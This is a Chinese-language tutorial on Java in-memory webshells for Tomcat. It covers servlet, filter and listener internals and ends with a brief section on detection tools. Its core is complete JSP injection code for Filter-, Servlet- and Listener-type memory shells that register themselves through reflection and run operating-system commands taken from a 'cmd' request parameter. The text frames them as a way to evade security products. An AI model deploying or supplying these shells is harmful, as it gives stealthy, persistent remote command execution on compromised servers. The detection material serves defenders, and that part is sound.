内存马简介
什么是内存马
随着每年攻防对抗强度的增加,普通的webshell在各大厂商的安全设备下,根本难以存活,想要落地一个实体webshell的难度逐渐增大。逐步完善的过滤机制、前后端分离的趋势,使得传统的webshell生存空间越来越小。于是,随着时代的发展,内存马出现了。
内存马就是一种无需落地文件就能使用的webshell,它将恶意代码写入内存,拦截固定参数来达到webshell的效果。
如何实现内存马
实现目标:访问任意url或者指定url,带上命令执行参数,即可让服务器返回命令执行结果
实现方法:以java为例,客户端发起的web请求会依次经过Listener—>Filter—>Servlet三个组件,我们只要在这个请求的过程中做手脚,在内存中修改已有的组件或者动态注册一个新的组件,插入恶意的shellcode,就可以达到我们的目的。
内存马类型
根据注入的方式,大概分类以下两类:
servlet-api型- 通过命令执行等方式动态注册一个新的listener、filter或者servlet,从而实现命令执行等功能。特定框架、容器的内存马原理与此类似,如
spring的controller内存马,tomcat的valve内存马 
- 字节码增强型
 - 通过java的
instrumentation动态修改已有代码,进而实现命令执行等功能。 
背景知识
Java web三大件
详情的可以自己去研究,搜索关键词maven tomcat servlet 开发,这里大概描述一下
Servlet
Servlet 是运行在 Web 服务器或应用服务器上的程序,它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。它负责处理用户的请求,并根据请求生成相应的返回信息提供给用户。
请求的处理过程

- 浏览器向 Web 服务器发送了一个 HTTP 请求,Servlet容器根据收到的请求,会先创建一个 
HttpServletRequest和HttpServletResponse对象 
- 调用相应的 Servlet 程序,在 Servlet 程序运行时,它首先会从 
HttpServletRequest对象中读取数据信息,然后通过service()方法处理请求消息 
service()方法根据请求类型,分别调用doGet或者doPost方法,其中doXXX方法是我们自己写的逻辑Controller
- 将处理后的响应数据写入到 
HttpServletResponse对象中。 
- Web 服务器会从 
HttpServletResponse对象中读取到响应数据,并发送给浏览器 
- 容器关闭时候,会调用
destory方法 
需要注意的是,在Web服务器运行阶段,每个Servlet都只会创建一个实例对象,针对每次HTTP请求,Web服务器都会调用所请求Servlet实例的
service(HttpServletRequest request,HttpServletResponse response)方法,并重新创建一个 request 对象和一个 response 对象。
servlet生命周期

- 服务器启动时(web.xml中配置
load-on-startup=1,默认为0)或者第一次请求该servlet时,就会初始化一个Servlet对象,也就是会执行初始化方法init(ServletConfig conf)。 - servlet对象去处理所有客户端请求,在
service(ServletRequest req,ServletResponse res)方法中执行 - 服务器关闭时,销毁这个servlet对象,执行
destroy()方法。 - 由JVM进行垃圾回收。
代码示例


Filter
filter也称之为过滤器,是对Servlet技术的一个强补充,其主要功能是在HttpServletRequest到达Servlet之前,拦截客户的HttpServletRequest,根据需要检查HttpServletRequest,也可以修改HttpServletRequest头和数据;在HttpServletResponse到达客户端之前,拦截HttpServletResponse,根据需要检查HttpServletResponse,也可以修改HttpServletResponse头和数据。 
简单来说就是在Servlet处理请求前和Servlet响应请求后实现一些特殊的功能

基本工作原理
1、Filter 程序是一个实现了特殊接口的 Java 类,与 Servlet 类似,也是由 Servlet 容器进行调用和执行的。
2、当在 web.xml 注册了一个 Filter 来对某个 Servlet 程序进行拦截处理时,它可以决定是否将请求继续传递给 Servlet 程序,以及对请求和响应消息是否进行修改。
3、当 Servlet 容器开始调用某个 Servlet 程序时,如果发现已经注册了一个 Filter 程序来对该 Servlet 进行拦截,那么容器不再直接调用 Servlet 的 service 方法,而是调用 Filter 的 doFilter 方法,再由 doFilter 方法决定是否去激活 service 方法。
4、但在 Filter.doFilter 方法中不能直接调用 Servlet 的 service 方法,而是调用 FilterChain.doFilter 方法来激活目标 Servlet 的 service 方法,FilterChain 对象时通过 Filter.doFilter 方法的参数传递进来的。
5、只要在 Filter.doFilter 方法中调用 FilterChain.doFilter 方法的语句前后增加某些程序代码,这样就可以在 Servlet 进行响应前后实现某些特殊功能。
6、如果在 Filter.doFilter 方法中没有调用 FilterChain.doFilter 方法,则目标 Servlet 的 service 方法不会被执行,这样通过 Filter 就可以阻止某些非法的访问请求。
filter的生命周期
- 当服务器启动,就会创建Filter对象(随着Tomcat的启动而创建),并调用
init()方法,只调用一次 - 当访问资源时,路径与filter拦截路径匹配,会执行Filter中的
doFilter方法,这个方法是真正拦截操作的方法。 - 当服务器关闭时,会调用Filter中的
destroy方法来进行销毁操作。filter链
当多个filter同时存在的时候,组成了filter链。
web服务器根据Filter在web.xml文件中的注册顺序,决定先调用哪个Filter。当第一个Filter的doFilter方法被调用时,web服务器会创建一个代表Filter链的FilterChain对象传递给该方法,通过判断FilterChain中是否还有filter决定后面是否还调用filter。
代码示例


Listener
程序开发中,经常需要对某些事件进行监听,比如监听客户端的请求、服务端的操作等。通过监听器,可以自动出发一些动作,比如监听在线的用户数量,统计网站访问量、网站访问监控等。
事件:用户的一个操作,如点击按钮
事件源:产生事件的对象。
监听器:负责监听发生在事件源上的事件。
注册监听:将事件,事件源,监听器绑定在一起。当事件源上发生某个事件后,执行监听器代码。代码示例
``` import javax.servlet.ServletContextEvent; import javax.servlet.ServletContextListener; import javax.servlet.annotation.WebListener; import javax.servlet.http.HttpSessionAttributeListener; import javax.servlet.http.HttpSessionEvent; import javax.servlet.http.HttpSessionListener; import javax.servlet.http.HttpSessionBindingEvent; 
@WebListener() public class HelloListener implements ServletContextListener, HttpSessionListener, HttpSessionAttributeListener {
// Public constructor is required by servlet specpublic HelloListener() {}// -------------------------------------------------------// ServletContextListener implementation// -------------------------------------------------------public void contextInitialized(ServletContextEvent sce) { // 初始化资源,例如打开数据库连接池等:/* This method is called when the servlet context isinitialized(when the Web application is deployed).You can initialize servlet context related data here.*/}public void contextDestroyed(ServletContextEvent sce) { // 清理WebApp,例如关闭数据库连接池等/* This method is invoked when the Servlet Context(the Web application) is undeployed orApplication Server shuts down.*/}// -------------------------------------------------------// HttpSessionListener implementation// -------------------------------------------------------public void sessionCreated(HttpSessionEvent se) {/* Session is created. */}public void sessionDestroyed(HttpSessionEvent se) {/* Session is destroyed. */}// -------------------------------------------------------// HttpSessionAttributeListener implementation// -------------------------------------------------------public void attributeAdded(HttpSessionBindingEvent sbe) {/* This method is called when an attributeis added to a session.*/}public void attributeRemoved(HttpSessionBindingEvent sbe) {/* This method is called when an attributeis removed from a session.*/}public void attributeReplaced(HttpSessionBindingEvent sbe) {/* This method is invoked when an attributeis replaced in a session.*/}
}
### Tomcat> 简单理解,tomcat是http服务器+servlet容器。Tomcat 作为Servlet容器,将http请求文本接收并解析,然后封装成`HttpServletRequest`类型的request对象,传递给servlet;同时会将响应的信息封装为`HttpServletResponse`类型的response对象,然后将response交给tomcat,tomcat就会将其变成响应文本的格式发送给浏览器。<br />#### Tomcat架构设计Tomcat 的本质其实就是一个 WEB 服务器 + 一个 Servlet 容器,那么它必然需要处理网络的连接与 Servlet 的管理,因此,Tomcat 设计了两个核心组件来实现这两个功能,分别是**连接器**和**容器**,**连接器用来处理外部网络连接,容器用来处理内部 Servlet**<br /><br />一个 Tomcat 代表一个 Server 服务器,一个 Server 服务器可以包含多个 Service 服务,Tomcat 默认的 Service 服务是 Catalina,而一个 Service 服务可以包含多个连接器,因为 Tomcat 支持多种网络协议,包括 HTTP/1.1、HTTP/2、AJP 等等,一个 Service 服务还会包括一个容器,容器外部会有一层 Engine 引擎所包裹,负责与处理连接器的请求与响应,连接器与容器之间通过 `ServletRequest` 和 `ServletResponse` 对象进行交流。<br />在`Container`容器中包含4个子容器,且存在包含关系,分别是:|容器| 实现类| 含义|| --- | --- | --- ||Engine| org.apache.catalina.core.StandardEngine| 最顶层容器组件,可以包含多个Host||Host| org.apache.catalina.core.StandardHost| 一个Host代表一个虚拟主机,如a.com、b.com,其下可以有多个Context||Context| org.apache.catalina.core.StandardContext| 一个Context代表一个Web应用,如/example、/ROOT、/manager,其下可有多个Wrapper||Wrapper| org.apache.catalina.core.StandardWrapper| 一个Wrapper通常代表一个Servlet,是对Servlet的封装|一个engine可以对一个多个`host`,也就是虚拟主机,一个host可以对应多个`context`,也就是web应用,一个context对应多个`wrapper`,也就是`servlet`。这个映射关系,通过`mapper`组件来关联,`mapper`组件保存了Web应用的配置信息,容器组件与访问路径的映射关系。Host容器的域名,Context容器中的web路径,Wrapper容器中的servlet映射的路径,这些配置信息是多层次的Map。根据请求定位到指定servlet的流程图如下:<br />### 其他知识#### 反射<br />反射提供的功能,能在运行时(动态)的1.获取一个类的所有成员变量和方法1.创建一个类的对象<br />a. 获取对象成员变量&赋值<br />b. 调用对象的方法<br />c. 判断对象所属的类在注入内存马的过程当中,我们可能需要用到反射机制,例如注入一个servlet型的内存马,我们需要使用反射机制来获取当前的context,然后将恶意的servlet(wrapper)添加到当前的context的children中。<br />在使用Java反射机制时,主要步骤包括:1. 获取目标类型的Class对象1. 通过Class对象分别获取`Constructor`类对象、`Method`类对象和`Field`类对象1. 通过Constructor类对象、Method类对象和Field类对象分别获取类的构造函数、方法&属性的具体信息,并进行后续操作#### java instrumentation- [Java Intrumentation 和相关应用](https://jifuwei.github.io/2019/06/04/instrument/)动态 Instrumentation 是 Java SE 5 的新特性,它在 `java.lang.instrument` 包中,它把 Java 的 instrument 功能从本地代码中释放出来,使其可以用 Java 代码的方式解决问题。使用 `Instrumentation`,开发者可以构建一个独立于应用程序的代理程序(Agent),用来监测和协助运行在 JVM 上的程序,甚至可以替换和修改某些类的定义。有了这样的功能,开发者就可以实现更为灵活的虚拟机监控和 Java的类操作了,这样的特性实际上提供了一种虚拟机级别支持的 AOP方式,使得开发者无需对原有应用做任何修改,就可以实现类的动态修改和增强<br />`java.lang.instrument` 包被赋予了更强大的功能:启动后的 监测、本地代码(native code)监测,以及动态改变 `classpath` 等等。这些改变,意味着 Java 具有了更强的动态控制与解释能力,它使得 Java 语言变得更加灵活多变。<br />`Java agent`是一种特殊的Java程序(Jar文件),它是`Instrumentation`的客户端。与普通Java程序通过main方法启动不同,agent并不是一个可以单独启动的程序,而必须依附在一个Java应用程序(JVM)上,与它运行在同一个进程中,通过`Instrumentation API`与虚拟机交互。<br />在注入内存马的过程中,我们可以利用java instrumentation机制,**动态的修改已加载到内存中的类里的方法,进而注入恶意的代码**。<br />## servlet-api内存马编写> 所有内存马编写时,都可以自己写一个对应的东西,比如filter、servlet,然后去跟一下Tomcat本身是如何去添加这些东西的,最后模拟一下这个过程动态添加就行了### Filter内存马Filter 内存马是通过动态注册以一个恶意Filter,由于是动态注册的,所以这个filter没有文件实体,存在内存中,当tomcat重启就消失了<br />一般我们把这个Filter放在所有的filter最前面优先执行,也就是filter链的第一个,这样我们的请求就不会受到其他filter的干扰<br />需要动态注册filter就需要添加filter相关的库、函数等#### ServletContext需要动态注册filter就需要几个添加filter相关的函数,`ServletContext`恰好可以满足这个条件<br />`javax.servlet.servletContext`中存在`addFilter`,`addServlet`,`addListener`方法,即添加Filter,Servlet,Listener<br />获取ServletContext的方法:`this.getServletContext();`、`this.getServletConfig().getServletContext();`#### ApplicationContext在Tomcat中,`org.apache.catalina.core.ApplicationContext`中包含一个`ServletContext`接口的实现,所以需要引入`org.apache.catalina.core.ApplicationContext`这个库,**用它获取上下文`StandardContext`**#### Filter相关变量|名称| 说明|| --- | --- ||`filterMaps` 变量| 存放`FilterMap`的数组,在 `FilterMap` 中主要存放了 `FilterName` 和 对应的`URLPattern`||`filterDefs` 变量| 存放`FilterDef`的数组 ,`FilterDef` 中存储着我们过滤器名,过滤器实例等基本信息||`filterConfigs` 变量| 存放`filterConfig`的数组,在 `FilterConfig` 中主要存放 `FilterDef` 和 `Filter`对象等信息||`FilterChain` 变量| 过滤器链,该对象上的 `doFilter` 方法能依次调用链上的 `Filter`||`ApplicationFilterChain`| 调用过滤器链||`ApplicationFilterConfig`| 获取过滤器||`ApplicationFilterFactory`| 组装过滤器链||**`StandardContext`**| Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper**||`StandardWrapperValve`| 一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet|`org.apache.catalina.core.ApplicationFilterConfig` 在tomcat不同版本需要通过不同的库引入`FilterMap`和`FilterDef`
// tomcat 7 import org.apache.catalina.deploy.FilterMap; import org.apache.catalina.deploy.FilterDef;
// tomcat 8/9 import org.apache.tomcat.util.descriptor.web.FilterMap; import org.apache.tomcat.util.descriptor.web.FilterDef;
#### 动态注入内存> 需要调试的话,直接给想要调试的代码写到servlet里面就可以调试了,避免去尝试调试JSP流程:1.创建一个恶意Filter1.利用FilterDef对Filter进行一个封装1.将FilterDef添加到FilterDefs和FilterConfig1.创建FilterMap ,将我们的Filter和urlpattern相对应,存放到filterMaps中(由于Filter生效会有一个先后顺序,所以我们一般都是放在最前面,让我们的Filter最先触发)Tomcat中的对应的`ServletContext`实现是`ApplicationContext`,在Web应用中获取的`ServletContext`实际上是`ApplicationContextFacade`对象,对`ApplicationContext`进行了封装,而`ApplicationContext`实例中又包含了`StandardContext`实例,以此来获取操作Tomcat容器内部的一些信息,例如Servlet的注册等。<br /><br />当我们能直接获取 request 的时候,可以直接将 `ServletContext` 转为 `StandardContext` 从而获取 `context`。
<%@ page contentType=”text/html;charset=UTF-8” language=”java” %> <%@ page import = “org.apache.catalina.Context” %> <%@ page import = “org.apache.catalina.core.ApplicationContext” %> <%@ page import = “org.apache.catalina.core.ApplicationFilterConfig” %> <%@ page import = “org.apache.catalina.core.StandardContext” %> <%@ page import = “javax.servlet.*” %> <%@ page import = “java.io.IOException” %> <%@ page import = “java.lang.reflect.Constructor” %> <%@ page import = “java.lang.reflect.Field” %> <%@ page import = “java.util.Map” %> <%@ page import=”org.apache.tomcat.util.descriptor.web.FilterDef” %> <%@ page import=”org.apache.tomcat.util.descriptor.web.FilterMap” %>
<% // 创建一个恶意的Filter,需要实现Filter接口 class filterDemo implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { } public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { String cmd = servletRequest.getParameter(“cmd”); if (cmd!= null) { Process process = Runtime.getRuntime().exec(cmd); java.io.BufferedReader bufferedReader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line + ‘\n’); } servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); servletResponse.getOutputStream().flush(); servletResponse.getOutputStream().close(); return; } filterChain.doFilter(servletRequest, servletResponse); }
@Overridepublic void destroy() {}}
%>
<% //从org.apache.catalina.core.ApplicationContext反射获取context方法 ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField(“context”); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField(“context”); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); Field Configs = standardContext.getClass().getDeclaredField(“filterConfigs”); Configs.setAccessible(true); // filterConfigs 中存放的所有拦截器 Map filterConfigs = (Map) Configs.get(standardContext);
String name = "filterDemo";//判断是否存在filterDemo1这个filter,如果没有则准备创建if (filterConfigs.get(name) == null){//定义一些基础属性、类名、filter名等filterDemo filter = new filterDemo();FilterDef filterDef = new FilterDef();filterDef.setFilterName(name);filterDef.setFilterClass(filter.getClass().getName());filterDef.setFilter(filter);//添加filterDefstandardContext.addFilterDef(filterDef);//创建filterMap,设置filter和url的映射关系,可设置成单一url如/xyz ,也可以所有页面都可触发可设置为/*FilterMap filterMap = new FilterMap();// filterMap.addURLPattern("/*");// 这里可根据实际情况添加拦截器拦截的路由filterMap.addURLPattern("/xyz");filterMap.setFilterName(name);filterMap.setDispatcher(DispatcherType.REQUEST.name());//添加我们的filterMap到所有filter最前面standardContext.addFilterMapBefore(filterMap);//反射创建FilterConfig,传入standardContext与filterDefConstructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);constructor.setAccessible(true);ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);//将filter名和配置好的filterConifg传入filterConfigs.put(name,filterConfig);out.write("Inject success!");}else{out.write("Injected!");}
%>
### Servlet内存马#### 启动常规情况下在启动时,会自动调用`StandardContext.addServletMappingDecoded()`方法给我们定义的路由和名字加进去,所有后面动态注入也是利用的这个方法,获取到`StandardContext`然后添加即可,前提是要给这个`servlet`先添加到`children`中<br />- `servletMappings`和前提判断条件- `findChild()`- `addChild()`<br />会给我们创建的`servlet/wrapper`添加到`children`中<br />#### 动态注入内存下面的代码先是创建了一个恶意的`servlet`,然后获取当前的`StandardContext`,然后将恶意`servlet`封装成`wrapper`添加到`StandardContext`的`children`当中,最后添加`ServletMapping`将访问的`URL`和`wrapper`进行绑定。
<%@ page import=”java.io.IOException” %> <%@ page import=”java.io.InputStream” %> <%@ page import=”java.util.Scanner” %> <%@ page import=”org.apache.catalina.core.StandardContext” %> <%@ page import=”java.io.PrintWriter” %>
<% // 创建恶意Servlet Servlet servlet = new Servlet() { @Override public void init(ServletConfig servletConfig) throws ServletException {
}@Overridepublic ServletConfig getServletConfig() {return null;}@Overridepublic void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {String cmd = servletRequest.getParameter("cmd");boolean isLinux = true;String osTyp = System.getProperty("os.name");if (osTyp != null && osTyp.toLowerCase().contains("win")) {isLinux = false;}String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();Scanner s = new Scanner(in).useDelimiter("\\a");String output = s.hasNext() ? s.next() : "";PrintWriter out = servletResponse.getWriter();out.write(output);out.flush();out.close();}@Overridepublic String getServletInfo() {return null;}@Overridepublic void destroy() {}};
%> <% // 获取StandardContext org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();
// 用Wrapper对其进行封装org.apache.catalina.Wrapper newWrapper = standardCtx.createWrapper();newWrapper.setName("testsaaa");newWrapper.setLoadOnStartup(1);newWrapper.setServlet(servlet);newWrapper.setServletClass(servlet.getClass().getName());// 添加封装后的恶意Wrapper到StandardContext的children当中standardCtx.addChild(newWrapper);// 添加ServletMapping将访问的URL和Servlet进行绑定// 低版本此处可能为 addServletMappingstandardCtx.addServletMappingDecoded("/shell","testsaaa");
%>
执行上述代码后,访问当前应用的`/shell`路径,加上cmd参数就可以命令执行了。使用新增servlet的方式就需要绑定指定的URL。如果我们想要更加隐蔽,做到内存马与URL无关,无论这个url是原生servlet还是某个struts action,甚至无论这个url是否真的存在,只要我们的请求传递给tomcat,tomcat就能相应我们的指令,那就得通过注入新的或修改已有的filter或者listener的方式来实现了。<br />比如早期rebeyond师傅开发的memshell,就是通过修改`org.apache.catalina.core.ApplicationFilterChain`类的`internalDoFilter`方法来实现的,后期冰蝎最新版本的内存马为了实现更好的兼容性,选择hook `javax.servlet.http.HttpServlet#service` 函数,在weblogic选择hook `weblogic.servlet.internal.ServletStubImpl#execute` 函数。<br />### Listener内存马Listener的监听主要分为三类:- ServletContext监听:用于对Servlet整个上下文进行监听(创建、销毁)- Session监听:对Session的整体状态的监听- Request监听:用于对Request请求进行监听(创建、销毁)对于这三类,熟悉java和Tomcat的同学应该知道,对于request的请求和篡改是常见的利用方式,另两者涉及到服务器的启动跟停止,或者是Session的建立跟销毁,就不太适合#### ServletRequestListener接口该接口实现的方法有`requestDestroyed`,`requestInitialized`,分别是在监听request请求结束,以及request请求开始,我们着重看请求开始的部分<br /><br />在`requestInitialized`这个函数中,我们从`servletRequestEvent`参数中取cmd参数,在当前上下文只要在任意路由下监听到了cmd参数存在值,那么就执行命令,具体操作如下
public void requestInitialized(ServletRequestEvent servletRequestEvent) { String cmd = servletRequestEvent.getServletRequest().getParameter(“cmd”); if(cmd != null){ try { Runtime.getRuntime().exec(cmd); } catch (IOException e) {} } }
> 这里是没有回显的,盲的#### 动态注入内存
<%@ page import=”java.io.IOException” %> <%@ page import=”org.apache.catalina.core.StandardContext” %>
<% ServletRequestListener listener = new ServletRequestListener() { @Override public void requestInitialized(ServletRequestEvent sre) { String cmd = sre.getServletRequest().getParameter(“cmd”); if(cmd != null){ try { Runtime.getRuntime().exec(cmd); } catch (IOException e) {} } } }; %>
<% // 获取StandardContext org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();
standardCtx.addApplicationEventListener(listener);
%>
## servlet-api总结以上三种根据Servlet的特性,动态注入,jsp文件只要落地,即可动态加载到内存中|姿势| 优点| 缺点|| --- | --- | --- ||Filter| 通过添加全局拦截器对参数进行拦截,来进行恶意代码执行通过添加filtermap,可以随便设置路由,所有请求都会过该拦截器| 引入`filterMaps`,`filterDef`,要根据tomcat版本来判断代码量较高||Servlet| 简单方便,了解Servlet生命周期即可更直观了解如何动态添加ServletMapping| 无法使所有参数都经过恶意代码,只能在我们自己设定的url中才能触发||Listener| 简单方便,通过添加监听器对request进行监控在任意url中都能设置我们监听的参数| 只要监听的参数含有就会进入监听代码中如果在该jsp页面下访问,则会重放请求|## 内存马查杀查杀感觉很多都是依赖于`Java agent`去查杀的。### arthas`Arthas` 是Alibaba开源的Java诊断工具-地址:[https://github.com/alibaba/arthas](https://github.com/alibaba/arthas)-[使用文档](20118d2abc0f07b89e1e07c669a5622e) 很详细,可以慢慢研究下载`arthas-boot.jar`,然后用`java -jar`的方式启动:
curl -O https://arthas.aliyun.com/arthas-boot.jar java -jar arthas-boot.jar
- 通过`mbean`命令,可以便捷的查看或监控 **Mbean** 的属性信息(可以查看异常`Filter`/`Servlet`节点)- 使用`jad`反编译class源码(感觉是依赖于`cfr-decompiler`这个小工具)### copagentJava内存马提取工具,arthas的改进版,可以确定风险等级,并且将内存中的信息全部输出<br />地址:[https://github.com/LandGrey/copagent](https://github.com/LandGrey/copagent)<br />下载`cop.jar`,然后启动
wget https://github.com/LandGrey/copagent/raw/release/cop.jar java -jar cop.jar
```

查看输出结果
找到相关的class文件并反编译
java-memshell-scanner
通过jsp脚本扫描并查杀各类中间件内存马,比Java agent要温和一些。
地址:https://github.com/c0ny1/java-memshell-scanner
dump下来反编译
参考
- Tomcat内存马
 - tomcat无文件内存webshell
 - Tomcat Filter类型内存马与查杀技术学习:比较详细比较细,分析每一步为什么要这样做也很详细
 
